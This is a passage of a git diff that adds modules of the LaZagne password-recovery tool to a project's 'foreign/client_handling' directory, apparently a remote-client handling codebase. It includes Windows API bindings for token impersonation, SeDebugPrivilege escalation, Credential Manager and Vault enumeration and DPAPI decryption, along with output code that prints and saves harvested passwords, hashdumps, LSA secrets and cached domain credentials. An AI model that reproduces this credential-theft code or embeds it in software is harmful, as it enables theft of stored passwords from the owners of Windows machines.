+ size.value = len(_buffer)
+
+ else:
+ return os.getenv('username') # Unusual error
+
+ return _buffer.value
diff --git a/foreign/client_handling/lazagne/config/winstructure.py b/foreign/client_handling/lazagne/config/winstructure.py
new file mode 100644
index 0000000..dd5de1b
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/winstructure.py
@@ -0,0 +1,679 @@
+# Vault Structure has been taken from mimikatz
+from ctypes.wintypes import *
+from ctypes import *
+
+import sys
+import os
+
+try:
+ import _winreg as winreg
+except ImportError:
+ import winreg
+
+LPTSTR = LPSTR
+LPCTSTR = LPSTR
+PHANDLE = POINTER(HANDLE)
+HANDLE = LPVOID
+LPDWORD = POINTER(DWORD)
+PVOID = c_void_p
+INVALID_HANDLE_VALUE = c_void_p(-1).value
+NTSTATUS = ULONG()
+PWSTR = c_wchar_p
+LPWSTR = c_wchar_p
+PBYTE = POINTER(BYTE)
+LPBYTE = POINTER(BYTE)
+PSID = PVOID
+LONG = c_long
+WORD = c_uint16
+
+# #############################- Constants ##############################
+
+# Credential Manager
+CRYPTPROTECT_UI_FORBIDDEN = 0x01
+CRED_TYPE_GENERIC = 0x1
+CRED_TYPE_DOMAIN_VISIBLE_PASSWORD = 0x4
+
+# Regedit
+HKEY_CURRENT_USER = -2147483647
+HKEY_LOCAL_MACHINE = -2147483646
+KEY_READ = 131097
+KEY_ENUMERATE_SUB_KEYS = 8
+KEY_QUERY_VALUE = 1
+
+# custom key to read registry (not from msdn)
+ACCESS_READ = KEY_READ | KEY_ENUMERATE_SUB_KEYS | KEY_QUERY_VALUE
+
+# Token manipulation
+PROCESS_QUERY_INFORMATION = 0x0400
+STANDARD_RIGHTS_REQUIRED = 0x000F0000
+READ_CONTROL = 0x00020000
+STANDARD_RIGHTS_READ = READ_CONTROL
+TOKEN_ASSIGN_PRIMARY = 0x0001
+TOKEN_DUPLICATE = 0x0002
+TOKEN_IMPERSONATE = 0x0004
+TOKEN_QUERY = 0x0008
+TOKEN_QUERY_SOURCE = 0x0010
+TOKEN_ADJUST_PRIVILEGES = 0x0020
+TOKEN_ADJUST_GROUPS = 0x0040
+TOKEN_ADJUST_DEFAULT = 0x0080
+TOKEN_ADJUST_SESSIONID = 0x0100
+TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY)
+tokenprivs = (
+ TOKEN_QUERY | TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_QUERY_SOURCE | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | (
+ 131072 | 4))
+TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
+ TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
+ TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
+ TOKEN_ADJUST_SESSIONID)
+
+SE_DEBUG_PRIVILEGE = 20
+
+
+# ############################# Structures ##############################
+
+class CREDENTIAL_ATTRIBUTE(Structure):
+ _fields_ = [
+ ('Keyword', LPSTR),
+ ('Flags', DWORD),
+ ('ValueSize', DWORD),
+ ('Value', LPBYTE)
+ ]
+
+
+PCREDENTIAL_ATTRIBUTE = POINTER(CREDENTIAL_ATTRIBUTE)
+
+
+class CREDENTIAL(Structure):
+ _fields_ = [
+ ('Flags', DWORD),
+ ('Type', DWORD),
+ ('TargetName', LPSTR),
+ ('Comment', LPSTR),
+ ('LastWritten', FILETIME),
+ ('CredentialBlobSize', DWORD),
+ # ('CredentialBlob', POINTER(BYTE)),
+ ('CredentialBlob', POINTER(c_char)),
+ ('Persist', DWORD),
+ ('AttributeCount', DWORD),
+ ('Attributes', PCREDENTIAL_ATTRIBUTE),
+ ('TargetAlias', LPSTR),
+ ('UserName', LPSTR)
+ ]
+
+
+PCREDENTIAL = POINTER(CREDENTIAL)
+
+
+class DATA_BLOB(Structure):
+ _fields_ = [
+ ('cbData', DWORD),
+ ('pbData', POINTER(c_char))
+ ]
+
+
+class GUID(Structure):
+ _fields_ = [
+ ("data1", DWORD),
+ ("data2", WORD),
+ ("data3", WORD),
+ ("data4", BYTE * 6)
+ ]
+
+
+LPGUID = POINTER(GUID)
+
+
+class VAULT_CREDENTIAL_ATTRIBUTEW(Structure):
+ _fields_ = [
+ ('keyword', LPWSTR),
+ ('flags', DWORD),
+ ('badAlign', DWORD),
+ ('valueSize', DWORD),
+ ('value', LPBYTE),
+ ]
+
+
+PVAULT_CREDENTIAL_ATTRIBUTEW = POINTER(VAULT_CREDENTIAL_ATTRIBUTEW)
+
+
+class VAULT_BYTE_BUFFER(Structure):
+ _fields_ = [
+ ('length', DWORD),
+ ('value', PBYTE),
+ ]
+
+
+class DATA(Structure):
+ _fields_ = [
+ # ('boolean', BOOL),
+ # ('short', SHORT),
+ # ('unsignedShort', WORD),
+ # ('int', LONG),
+ # ('unsignedInt', ULONG),
+ # ('double', DOUBLE),
+ ('guid', GUID),
+ ('string', LPWSTR),
+ ('byteArray', VAULT_BYTE_BUFFER),
+ ('protectedArray', VAULT_BYTE_BUFFER),
+ ('attribute', PVAULT_CREDENTIAL_ATTRIBUTEW),
+ # ('Sid', PSID)
+ ('sid', DWORD)
+ ]
+
+
+class Flag(Structure):
+ _fields_ = [
+ ('0x00', DWORD),
+ ('0x01', DWORD),
+ ('0x02', DWORD),
+ ('0x03', DWORD),
+ ('0x04', DWORD),
+ ('0x05', DWORD),
+ ('0x06', DWORD),
+ ('0x07', DWORD),
+ ('0x08', DWORD),
+ ('0x09', DWORD),
+ ('0x0a', DWORD),
+ ('0x0b', DWORD),
+ ('0x0c', DWORD),
+ ('0x0d', DWORD)
+ ]
+
+
+class VAULT_ITEM_DATA(Structure):
+ _fields_ = [
+ # ('schemaElementId', DWORD),
+ # ('unk0', DWORD),
+ # ('Type', VAULT_ELEMENT_TYPE),
+ # ('type', Flag),
+ # ('type', DWORD * 14),
+ # ('unk1', DWORD),
+ ('data', DATA),
+ ]
+
+
+PVAULT_ITEM_DATA = POINTER(VAULT_ITEM_DATA)
+
+
+class VAULT_ITEM_WIN8(Structure):
+ _fields_ = [
+ ('id', GUID),
+ ('pName', PWSTR),
+ ('pResource', PVAULT_ITEM_DATA),
+ ('pUsername', PVAULT_ITEM_DATA),
+ ('pPassword', PVAULT_ITEM_DATA),
+ ('unknown0', PVAULT_ITEM_DATA),
+ ('LastWritten', FILETIME),
+ ('Flags', DWORD),
+ ('cbProperties', DWORD),
+ ('Properties', PVAULT_ITEM_DATA),
+ ]
+
+
+PVAULT_ITEM_WIN8 = POINTER(VAULT_ITEM_WIN8)
+
+
+# class VAULT_ITEM_WIN7(Structure):
+# _fields_ = [
+# ('id', GUID),
+# ('pName', PWSTR),
+# ('pResource', PVAULT_ITEM_DATA),
+# ('pUsername', PVAULT_ITEM_DATA),
+# ('pPassword', PVAULT_ITEM_DATA),
+# ('LastWritten', FILETIME),
+# ('Flags', DWORD),
+# ('cbProperties', DWORD),
+# ('Properties', PVAULT_ITEM_DATA),
+# ]
+# PVAULT_ITEM_WIN7 = POINTER(VAULT_ITEM_WIN7)
+
+class OSVERSIONINFOEXW(Structure):
+ _fields_ = [
+ ('dwOSVersionInfoSize', c_ulong),
+ ('dwMajorVersion', c_ulong),
+ ('dwMinorVersion', c_ulong),
+ ('dwBuildNumber', c_ulong),
+ ('dwPlatformId', c_ulong),
+ ('szCSDVersion', c_wchar * 128),
+ ('wServicePackMajor', c_ushort),
+ ('wServicePackMinor', c_ushort),
+ ('wSuiteMask', c_ushort),
+ ('wProductType', c_byte),
+ ('wReserved', c_byte)
+ ]
+
+
+class CRYPTPROTECT_PROMPTSTRUCT(Structure):
+ _fields_ = [
+ ('cbSize', DWORD),
+ ('dwPromptFlags', DWORD),
+ ('hwndApp', HWND),
+ ('szPrompt', LPCWSTR),
+ ]
+
+
+PCRYPTPROTECT_PROMPTSTRUCT = POINTER(CRYPTPROTECT_PROMPTSTRUCT)
+
+
+class LUID(Structure):
+ _fields_ = [
+ ("LowPart", DWORD),
+ ("HighPart", LONG),
+ ]
+
+
+PLUID = POINTER(LUID)
+
+
+class SID_AND_ATTRIBUTES(Structure):
+ _fields_ = [
+ ("Sid", PSID),
+ ("Attributes", DWORD),
+ ]
+
+
+class TOKEN_USER(Structure):
+ _fields_ = [
+ ("User", SID_AND_ATTRIBUTES), ]
+
+
+class LUID_AND_ATTRIBUTES(Structure):
+ _fields_ = [
+ ("Luid", LUID),
+ ("Attributes", DWORD),
+ ]
+
+
+class TOKEN_PRIVILEGES(Structure):
+ _fields_ = [
+ ("PrivilegeCount", DWORD),
+ ("Privileges", LUID_AND_ATTRIBUTES),
+ ]
+
+
+PTOKEN_PRIVILEGES = POINTER(TOKEN_PRIVILEGES)
+
+
+class SECURITY_ATTRIBUTES(Structure):
+ _fields_ = [
+ ("nLength", DWORD),
+ ("lpSecurityDescriptor", LPVOID),
+ ("bInheritHandle", BOOL),
+ ]
+
+
+PSECURITY_ATTRIBUTES = POINTER(SECURITY_ATTRIBUTES)
+
+
+class SID_NAME_USE(DWORD):
+ _sid_types = dict(enumerate('''
+ User Group Domain Alias WellKnownGroup DeletedAccount
+ Invalid Unknown Computer Label'''.split(), 1))
+
+ def __init__(self, value=None):
+ if value is not None:
+ if value not in self.sid_types:
+ raise ValueError('invalid SID type')
+ DWORD.__init__(value)
+
+ def __str__(self):
+ if self.value not in self._sid_types:
+ raise ValueError('invalid SID type')
+ return self._sid_types[self.value]
+
+ def __repr__(self):
+ return 'SID_NAME_USE(%s)' % self.value
+
+
+PSID_NAME_USE = POINTER(SID_NAME_USE)
+
+# ############################# Load dlls ##############################
+
+advapi32 = WinDLL('advapi32', use_last_error=True)
+crypt32 = WinDLL('crypt32', use_last_error=True)
+kernel32 = WinDLL('kernel32', use_last_error=True)
+psapi = WinDLL('psapi', use_last_error=True)
+ntdll = WinDLL('ntdll', use_last_error=True)
+
+# ############################# Functions ##############################
+
+RevertToSelf = advapi32.RevertToSelf
+RevertToSelf.restype = BOOL
+RevertToSelf.argtypes = []
+
+ImpersonateLoggedOnUser = advapi32.ImpersonateLoggedOnUser
+ImpersonateLoggedOnUser.restype = BOOL
+ImpersonateLoggedOnUser.argtypes = [HANDLE]
+
+DuplicateTokenEx = advapi32.DuplicateTokenEx
+DuplicateTokenEx.restype = BOOL
+DuplicateTokenEx.argtypes = [HANDLE, DWORD, PSECURITY_ATTRIBUTES, DWORD, DWORD, POINTER(HANDLE)]
+
+AdjustTokenPrivileges = advapi32.AdjustTokenPrivileges
+AdjustTokenPrivileges.restype = BOOL
+AdjustTokenPrivileges.argtypes = [HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD, PTOKEN_PRIVILEGES, POINTER(DWORD)]
+
+LookupPrivilegeValueA = advapi32.LookupPrivilegeValueA
+LookupPrivilegeValueA.restype = BOOL
+LookupPrivilegeValueA.argtypes = [LPCTSTR, LPCTSTR, PLUID]
+
+ConvertSidToStringSid = advapi32.ConvertSidToStringSidW
+ConvertSidToStringSid.restype = BOOL
+ConvertSidToStringSid.argtypes = [DWORD, POINTER(LPWSTR)]
+
+LookupAccountSid = advapi32.LookupAccountSidW
+LookupAccountSid.restype = BOOL
+LookupAccountSid.argtypes = [LPCWSTR, PSID, LPCWSTR, LPDWORD, LPCWSTR, LPDWORD, PSID_NAME_USE]
+
+LocalAlloc = kernel32.LocalAlloc
+LocalAlloc.restype = HANDLE
+LocalAlloc.argtypes = [PSID, DWORD]
+
+GetTokenInformation = advapi32.GetTokenInformation
+GetTokenInformation.restype = BOOL
+GetTokenInformation.argtypes = [HANDLE, DWORD, LPVOID, DWORD, POINTER(DWORD)]
+
+OpenProcess = kernel32.OpenProcess
+OpenProcess.restype = HANDLE
+OpenProcess.argtypes = [DWORD, BOOL, DWORD]
+
+OpenProcessToken = advapi32.OpenProcessToken
+OpenProcessToken.restype = BOOL
+OpenProcessToken.argtypes = [HANDLE, DWORD, POINTER(HANDLE)]
+
+CloseHandle = kernel32.CloseHandle
+CloseHandle.restype = BOOL
+CloseHandle.argtypes = [HANDLE]
+
+CredEnumerate = advapi32.CredEnumerateA
+CredEnumerate.restype = BOOL
+CredEnumerate.argtypes = [LPCTSTR, DWORD, POINTER(DWORD), POINTER(POINTER(PCREDENTIAL))]
+
+CredFree = advapi32.CredFree
+CredFree.restype = PVOID
+CredFree.argtypes = [PVOID]
+
+memcpy = cdll.msvcrt.memcpy
+memcpy.restype = PVOID
+memcpy.argtypes = [PVOID]
+
+LocalFree = kernel32.LocalFree
+LocalFree.restype = HANDLE
+LocalFree.argtypes = [HANDLE]
+
+CryptUnprotectData = crypt32.CryptUnprotectData
+CryptUnprotectData.restype = BOOL
+CryptUnprotectData.argtypes = [POINTER(DATA_BLOB), POINTER(LPWSTR), POINTER(DATA_BLOB), PVOID,
+ PCRYPTPROTECT_PROMPTSTRUCT, DWORD, POINTER(DATA_BLOB)]
+
+# these functions do not exist on XP workstations
+try:
+ prototype = WINFUNCTYPE(ULONG, DWORD, LPDWORD, POINTER(LPGUID))
+ vaultEnumerateVaults = prototype(("VaultEnumerateVaults", windll.vaultcli))
+
+ prototype = WINFUNCTYPE(ULONG, LPGUID, DWORD, HANDLE)
+ vaultOpenVault = prototype(("VaultOpenVault", windll.vaultcli))
+
+ prototype = WINFUNCTYPE(ULONG, HANDLE, DWORD, LPDWORD, POINTER(c_char_p))
+ vaultEnumerateItems = prototype(("VaultEnumerateItems", windll.vaultcli))
+
+ prototype = WINFUNCTYPE(ULONG, HANDLE, LPGUID, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, HWND, DWORD,
+ POINTER(PVAULT_ITEM_WIN8))
+ vaultGetItem8 = prototype(("VaultGetItem", windll.vaultcli))
+
+ # prototype = WINFUNCTYPE(ULONG, HANDLE, LPGUID, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, HWND, DWORD, POINTER(PVAULT_ITEM_WIN7))
+ # vaultGetItem7 = prototype(("VaultGetItem", windll.vaultcli))
+
+ prototype = WINFUNCTYPE(ULONG, LPVOID)
+ vaultFree = prototype(("VaultFree", windll.vaultcli))
+
+ prototype = WINFUNCTYPE(ULONG, PHANDLE)
+ vaultCloseVault = prototype(("VaultCloseVault", windll.vaultcli))
+except Exception:
+ pass
+
+GetModuleFileNameEx = psapi.GetModuleFileNameExW
+GetModuleFileNameEx.restype = DWORD
+GetModuleFileNameEx.argtypes = [HANDLE, HMODULE, LPWSTR, DWORD]
+
+
+# ############################# Custom functions ##############################
+
+
+def EnumProcesses():
+ _EnumProcesses = psapi.EnumProcesses
+ _EnumProcesses.argtypes = [LPVOID, DWORD, LPDWORD]
+ _EnumProcesses.restype = bool
+
+ size = 0x1000
+ cbBytesReturned = DWORD()
+ unit = sizeof(DWORD)
+ dwOwnPid = os.getpid()
+ while 1:
+ ProcessIds = (DWORD * (size // unit))()
+ cbBytesReturned.value = size
+ _EnumProcesses(byref(ProcessIds), cbBytesReturned, byref(cbBytesReturned))
+ returned = cbBytesReturned.value
+ if returned < size:
+ break
+ size = size + 0x1000
+ ProcessIdList = list()
+ for ProcessId in ProcessIds:
+ if ProcessId is None:
+ break
+ if ProcessId == dwOwnPid:
+ continue
+ ProcessIdList.append(ProcessId)
+ return ProcessIdList
+
+
+def LookupAccountSidW(lpSystemName, lpSid):
+ # From https://github.com/MarioVilas/winappdbg/blob/master/winappdbg/win32/advapi32.py
+ _LookupAccountSidW = advapi32.LookupAccountSidW
+ _LookupAccountSidW.argtypes = [LPSTR, PSID, LPWSTR, LPDWORD, LPWSTR, LPDWORD, LPDWORD]
+ _LookupAccountSidW.restype = BOOL
+
+ ERROR_INSUFFICIENT_BUFFER = 122
+ cchName = DWORD(0)
+ cchReferencedDomainName = DWORD(0)
+ peUse = DWORD(0)
+ success = _LookupAccountSidW(lpSystemName, lpSid, None, byref(cchName), None, byref(cchReferencedDomainName),
+ byref(peUse))
+ error = GetLastError()
+ if not success or error == ERROR_INSUFFICIENT_BUFFER:
+ lpName = create_unicode_buffer(u'', cchName.value + 1)
+ lpReferencedDomainName = create_unicode_buffer(u'', cchReferencedDomainName.value + 1)
+ success = _LookupAccountSidW(lpSystemName, lpSid, lpName, byref(cchName), lpReferencedDomainName,
+ byref(cchReferencedDomainName), byref(peUse))
+ if success:
+ return lpName.value, lpReferencedDomainName.value, peUse.value
+
+ return None, None, None
+
+
+def QueryFullProcessImageNameW(hProcess, dwFlags=0):
+ _QueryFullProcessImageNameW = kernel32.QueryFullProcessImageNameW
+ _QueryFullProcessImageNameW.argtypes = [HANDLE, DWORD, LPWSTR, POINTER(DWORD)]
+ _QueryFullProcessImageNameW.restype = bool
+ ERROR_INSUFFICIENT_BUFFER = 122
+
+ dwSize = MAX_PATH
+ while 1:
+ lpdwSize = DWORD(dwSize)
+ lpExeName = create_unicode_buffer('', lpdwSize.value + 1)
+ success = _QueryFullProcessImageNameW(hProcess, dwFlags, lpExeName, byref(lpdwSize))
+ if success and 0 < lpdwSize.value < dwSize:
+ break
+ error = GetLastError()
+ if error != ERROR_INSUFFICIENT_BUFFER:
+ return False
+ dwSize = dwSize + 256
+ if dwSize > 0x1000:
+ # this prevents an infinite loop in Windows 2008 when the path has spaces,
+ # see http://msdn.microsoft.com/en-us/library/ms684919(VS.85).aspx#4
+ return False
+ return lpExeName.value
+
+
+def RtlAdjustPrivilege(privilege_id):
+ """
+ privilege_id: int
+ """
+ _RtlAdjustPrivilege = ntdll.RtlAdjustPrivilege
+ _RtlAdjustPrivilege.argtypes = [ULONG, BOOL, BOOL, POINTER(BOOL)]
+ _RtlAdjustPrivilege.restype = LONG
+
+ Enable = True
+ CurrentThread = False # enable for whole process
+ Enabled = BOOL()
+
+ status = _RtlAdjustPrivilege(privilege_id, Enable, CurrentThread, byref(Enabled))
+ if status != 0:
+ return False
+
+ return True
+
+
+def getData(blobOut):
+ cbData = int(blobOut.cbData)
+ pbData = blobOut.pbData
+ buffer = c_buffer(cbData)
+
+ memcpy(buffer, pbData, cbData)
+ LocalFree(pbData);
+ return buffer.raw
+
+
+def get_full_path_from_pid(pid):
+ if pid:
+ filename = create_unicode_buffer("", 256)
+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, int(pid))
+ if not hProcess:
+ return False
+
+ size = GetModuleFileNameEx(hProcess, None, filename, 256)
+ CloseHandle(hProcess)
+ if size:
+ return filename.value
+ else:
+ return False
+
+
+python_version = 2
+if sys.version_info[0]:
+ python_version = sys.version_info[0]
+
+
+def Win32CryptUnprotectData(cipherText, entropy=False, is_current_user=True, user_dpapi=False):
+ if python_version == 2:
+ cipherText = str(cipherText)
+
+ decrypted = None
+
+ if is_current_user:
+ bufferIn = c_buffer(cipherText, len(cipherText))
+ blobIn = DATA_BLOB(len(cipherText), bufferIn)
+ blobOut = DATA_BLOB()
+
+ if entropy:
+ bufferEntropy = c_buffer(entropy, len(entropy))
+ blobEntropy = DATA_BLOB(len(entropy), bufferEntropy)
+
+ if CryptUnprotectData(byref(blobIn), None, byref(blobEntropy), None, None, 0, byref(blobOut)):
+ decrypted = getData(blobOut).decode("utf-8")
+
+ else:
+ if CryptUnprotectData(byref(blobIn), None, None, None, None, 0, byref(blobOut)):
+ decrypted = getData(blobOut).decode("utf-8")
+
+ if not decrypted:
+ can_decrypt = True
+ if not (user_dpapi and user_dpapi.unlocked):
+ from foreign.client_handling.lazagne.config.dpapi_structure import are_masterkeys_retrieved
+ can_decrypt = are_masterkeys_retrieved()
+
+ if can_decrypt:
+ decrypted = user_dpapi.decrypt_encrypted_blob(cipherText)
+ if decrypted is False:
+ decrypted = None
+ else:
+ raise ValueError('MasterKeys not found')
+
+ if not decrypted:
+ if not user_dpapi:
+ raise ValueError('DPApi unavailable')
+ elif not user_dpapi.unlocked:
+ raise ValueError('DPApi locked')
+
+ return decrypted
+
+
+def get_os_version():
+ """
+ return major anr minor version
+ https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx
+ """
+ os_version = OSVERSIONINFOEXW()
+ os_version.dwOSVersionInfoSize = sizeof(os_version)
+ retcode = windll.Ntdll.RtlGetVersion(byref(os_version))
+ if retcode != 0:
+ return False
+
+ return '%s.%s' % (str(os_version.dwMajorVersion.real), str(os_version.dwMinorVersion.real))
+
+
+def isx64machine():
+ archi = os.environ.get("PROCESSOR_ARCHITEW6432", '')
+ if '64' in archi:
+ return True
+
+ archi = os.environ.get("PROCESSOR_ARCHITECTURE", '')
+ if '64' in archi:
+ return True
+
+ return False
+
+
+def OpenKey(key, path, index=0, access=KEY_READ):
+ if isx64:
+ return winreg.OpenKey(key, path, index, access | winreg.KEY_WOW64_64KEY)
+ else:
+ return winreg.OpenKey(key, path, index, access)
+
+
+isx64 = isx64machine()
+
+
+def string_to_unicode(string):
+ if python_version == 2:
+ return unicode(string)
+ else:
+ return string # String on python 3 are already unicode
+
+
+def chr_or_byte(integer):
+ if python_version == 2:
+ return chr(integer)
+ else:
+ return bytes([integer]) # Python 3
+
+
+def int_or_bytes(integer):
+ if python_version == 2:
+ return integer
+ else:
+ return bytes([integer]) # Python 3
+
+
+def char_to_int(string):
+ if python_version == 2 or isinstance(string, str):
+ return ord(string)
+ else:
+ return string # Python 3
+
+
+def convert_to_byte(string):
+ if python_version == 2:
+ return string
+ else:
+ return string.encode() # Python 3
diff --git a/foreign/client_handling/lazagne/config/write_output.py b/foreign/client_handling/lazagne/config/write_output.py
new file mode 100644
index 0000000..fb9a32b
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/write_output.py
@@ -0,0 +1,350 @@
+# -*- coding: utf-8 -*-
+import ctypes
+import getpass
+import json
+import logging
+import os
+import socket
+import sys
+import traceback
+
+from time import gmtime, strftime
+from platform import uname
+
+from foreign.client_handling.lazagne.config.users import get_username_winapi
+from foreign.client_handling.lazagne.config.winstructure import string_to_unicode, char_to_int, chr_or_byte, python_version
+from .constant import constant
+
+# --------------------------- Standard output functions ---------------------------
+
+STD_OUTPUT_HANDLE = -11
+std_out_handle = ctypes.windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE)
+tmp_user = None
+
+
+class StandardOutput(object):
+ def __init__(self):
+ self.banner = '''
+|====================================================================|
+| |
+| The LaZagne Project |
+| |
+| ! BANG BANG ! |
+| |
+|====================================================================|
+'''
+ self.FILTER = b''.join([((len(repr(chr_or_byte(x))) == 3 and python_version == 2) or
+ (len(repr(chr_or_byte(x))) == 4 and python_version == 3))
+ and chr_or_byte(x) or b'.' for x in range(256)])
+
+ def set_color(self, color='white', intensity=False):
+ c = {'white': 0x07, 'red': 0x04, 'green': 0x02, 'cyan': 0x03}.get(color, None)
+
+ if intensity:
+ c |= 0x08
+
+ ctypes.windll.kernel32.SetConsoleTextAttribute(std_out_handle, c)
+
+ # print banner
+ def first_title(self):
+ self.do_print(message=self.banner, color='white', intensity=True)
+ # Python 3.7.3 on Darwin x86_64: i386
+ python_banner = 'Python {}.{}.{} on'.format(*sys.version_info) + " {0} {4}: {5}\n".format(*uname())
+ self.print_logging(function=logging.debug, message=python_banner, prefix='[!]', color='white', intensity=True)
+
+ # info option for the logging
+ def print_title(self, title):
+ t = u'------------------- ' + title + ' passwords -----------------\n'
+ self.do_print(message=t, color='white', intensity=True)
+
+ # debug option for the logging
+ def title_info(self, title):
+ t = u'------------------- ' + title + ' passwords -----------------\n'
+ self.print_logging(function=logging.info, prefix='', message=t, color='white', intensity=True)
+
+ def print_user(self, user, force_print=False):
+ pass
+
+ def print_footer(self, elapsed_time=None):
+ footer = '\n[+] %s passwords have been found!\n' % str(constant.nb_password_found)
+ if not logging.getLogger().isEnabledFor(logging.INFO):
+ footer += 'For more information launch it again with the -v option\n'
+ if elapsed_time:
+ footer += '\nelapsed time = ' + str(elapsed_time)
+ self.do_print(footer)
+
+ def print_hex(self, src, length=8):
+ N = 0
+ result = b''
+ while src:
+ s, src = src[:length], src[length:]
+ hexa = b' '.join([b"%02X" % char_to_int(x) for x in s])
+ s = s.translate(self.FILTER)
+ result += b"%04X %-*s %s\n" % (N, length * 3, hexa, s)
+ N += length
+ return result
+
+ def try_unicode(self, obj, encoding='utf-8'):
+ if python_version == 3:
+ try:
+ return obj.decode()
+ except Exception:
+ return obj
+ try:
+ if isinstance(obj, basestring): # noqa: F821
+ if not isinstance(obj, unicode): # noqa: F821
+ obj = unicode(obj, encoding) # noqa: F821
+ except UnicodeDecodeError:
+ return repr(obj)
+ return obj
+
+ # centralize print function
+ def do_print(self, message='', color=False, intensity=False):
+ # quiet mode => nothing is printed
+ if constant.quiet_mode:
+ return
+
+ message = self.try_unicode(message)
+ if color:
+ self.set_color(color=color, intensity=intensity)
+ self.print_without_error(message)
+ self.set_color()
+ else:
+ self.print_without_error(message)
+
+ def print_without_error(self, message):
+ try:
+ print(message.decode())
+ except Exception:
+ try:
+ print(message)
+ except Exception:
+ print(repr(message))
+
+ def print_logging(self, function, prefix='[!]', message='', color=False, intensity=False):
+ if constant.quiet_mode:
+ return
+
+ try:
+ msg = u'{prefix} {msg}'.format(prefix=prefix, msg=message)
+ except Exception:
+ msg = '{prefix} {msg}'.format(prefix=prefix, msg=str(message))
+
+ if color:
+ self.set_color(color, intensity)
+ function(msg)
+ self.set_color()
+ else:
+ function(msg)
+
+ def print_output(self, software_name, pwd_found):
+ if pwd_found:
+ # if the debug logging level is not apply => print the title
+ if not logging.getLogger().isEnabledFor(logging.INFO):
+ # print the username only if password have been found
+ user = constant.finalResults.get('User', '')
+ global tmp_user
+ if user != tmp_user:
+ tmp_user = user
+ self.print_user(user, force_print=True)
+
+ # if not title1:
+ self.print_title(software_name)
+
+ # Particular passwords representation
+ to_write = []
+ if software_name in ('Hashdump', 'Lsa_secrets', 'Mscache'):
+ pwds = pwd_found[1]
+ for pwd in pwds:
+ self.do_print(pwd)
+ if software_name == 'Lsa_secrets':
+ hex_value = self.print_hex(pwds[pwd], length=16)
+ to_write.append([pwd.decode(), hex_value.decode()])
+ self.do_print(hex_value)
+ else:
+ to_write.append(pwd)
+ self.do_print()
+
+ # Other passwords
+ else:
+ # Remove duplicated password
+ pwd_found = [dict(t) for t in set([tuple(d.items()) for d in pwd_found])]
+
+ # Loop through all passwords found
+ for pwd in pwd_found:
+
+ # Detect which kinds of password has been found
+ lower_list = [s.lower() for s in pwd]
+ for p in ('password', 'key', 'hash'):
+ pwd_category = [s for s in lower_list if p in s]
+ if pwd_category:
+ pwd_category = pwd_category[0]
+ break
+
+ write_it = False
+ passwd = None
+ try:
+ # Do not print empty passwords
+ if not pwd[pwd_category.capitalize()]:
+ continue
+
+ passwd = string_to_unicode(pwd[pwd_category.capitalize()])
+ except Exception:
+ pass
+
+ # No password found
+ if not passwd:
+ print_debug("FAILED", u'Password not found.')
+ else:
+ constant.nb_password_found += 1
+ write_it = True
+ print_debug("OK", u'{pwd_category} found!'.format(
+ pwd_category=pwd_category.title()))
+
+ # Store all passwords found on a table => for dictionary attack if master password set
+ if passwd not in constant.password_found:
+ constant.password_found.append(passwd)
+
+ pwd_info = []
+ for p in pwd:
+ try:
+ pwd_line = '%s: %s' % (p, pwd[p].decode()) # Manage bytes output (py 3)
+ except Exception:
+ pwd_line = '%s: %s' % (p, pwd[p])
+
+ pwd_info.append(pwd_line)
+ self.do_print(pwd_line)
+
+ self.do_print()
+
+ if write_it:
+ to_write.append(pwd_info)
+
+ # write credentials into a text file
+ self.checks_write(to_write, software_name)
+ else:
+ print_debug("INFO", "No passwords found.\n")
+
+ def write_header(self):
+ time = strftime("%Y-%m-%d %H:%M:%S", gmtime())
+ try:
+ hostname = socket.gethostname().decode(sys.getfilesystemencoding())
+ except AttributeError:
+ hostname = socket.gethostname()
+
+ header = u'{banner}\r\n- Date: {date}\r\n- Username: {username}\r\n- Hostname:{hostname}\r\n\r\n'.format(
+ banner=self.banner.replace('\n', '\r\n'),
+ date=str(time),
+ username=get_username_winapi(),
+ hostname=hostname
+ )
+ with open(os.path.join(constant.folder_name, '{}.txt'.format(constant.file_name_results)), "ab+") as f:
+ f.write(header.encode())
+
+ def write_footer(self):
+ footer = '\n[+] %s passwords have been found!\r\n\r\n' % str(constant.nb_password_found)
+ open(os.path.join(constant.folder_name, '%s.txt' % constant.file_name_results), "a+").write(footer)
+
+ def checks_write(self, values, category):
+ if values:
+ if 'Passwords' not in constant.finalResults:
+ constant.finalResults['Passwords'] = []
+ constant.finalResults['Passwords'].append((category, values))
+
+
+def print_debug(error_level, message):
+ # Quiet mode => nothing is printed
+ if constant.quiet_mode:
+ return
+
+ # print when password is found
+ if error_level == 'OK':
+ constant.st.do_print(message='[+] {message}'.format(message=message), color='green')
+
+ # print when password is not found
+ elif error_level == 'FAILED':
+ constant.st.do_print(message='[-] {message}'.format(message=message), color='red', intensity=True)
+
+ elif error_level == 'CRITICAL' or error_level == 'ERROR':
+ constant.st.print_logging(function=logging.error, prefix='[-]', message=message, color='red', intensity=True)
+
+ elif error_level == 'WARNING':
+ constant.st.print_logging(function=logging.warning, prefix='[!]', message=message, color='cyan')
+
+ elif error_level == 'DEBUG':
+ constant.st.print_logging(function=logging.debug, message=message, prefix='[!]')
+
+ else:
+ constant.st.print_logging(function=logging.info, message=message, prefix='[!]')
+
+# --------------------------- End of output functions ---------------------------
+
+def json_to_string(json_string):
+ string = u''
+ try:
+ for json in json_string:
+ if json:
+ string += u'################## User: {username} ################## \r\n'.format(username=json['User'])
+ if 'Passwords' not in json:
+ string += u'\r\nNo passwords found for this user.\r\n\r\n'
+ else:
+ for pwd_info in json['Passwords']:
+ category, pwds_tab = pwd_info
+
+ string += u'\r\n------------------- {category} -----------------\r\n'.format(
+ category=category)
+
